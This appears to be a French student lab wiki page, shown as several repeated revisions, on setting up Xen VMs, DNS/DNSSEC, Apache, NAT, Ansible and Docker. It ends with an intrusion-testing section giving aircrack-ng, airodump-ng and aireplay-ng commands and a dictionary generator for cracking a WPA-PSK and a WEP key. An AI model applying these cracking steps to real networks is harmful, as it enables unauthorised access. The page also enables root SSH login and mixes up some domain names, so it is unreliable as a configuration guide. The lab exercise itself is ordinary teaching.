vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On le lance:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

Fichier:Result-httpd.png

2019-12-10T09:22:43Z

Zbriois :

Fichier:Result-jeu-docker-bis.png

2019-12-10T09:22:23Z

Zbriois :

Fichier:Result jeu docker.png

2019-12-10T09:21:57Z

Zbriois :

TP sysres IMA5sc 2019/2020 G4

2019-12-10T09:18:58Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On le lance:
docker build DockerFiles/ -t webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T08:42:58Z

Zbriois : /* Installation de docker */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

====Création de votre conteneur====
====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
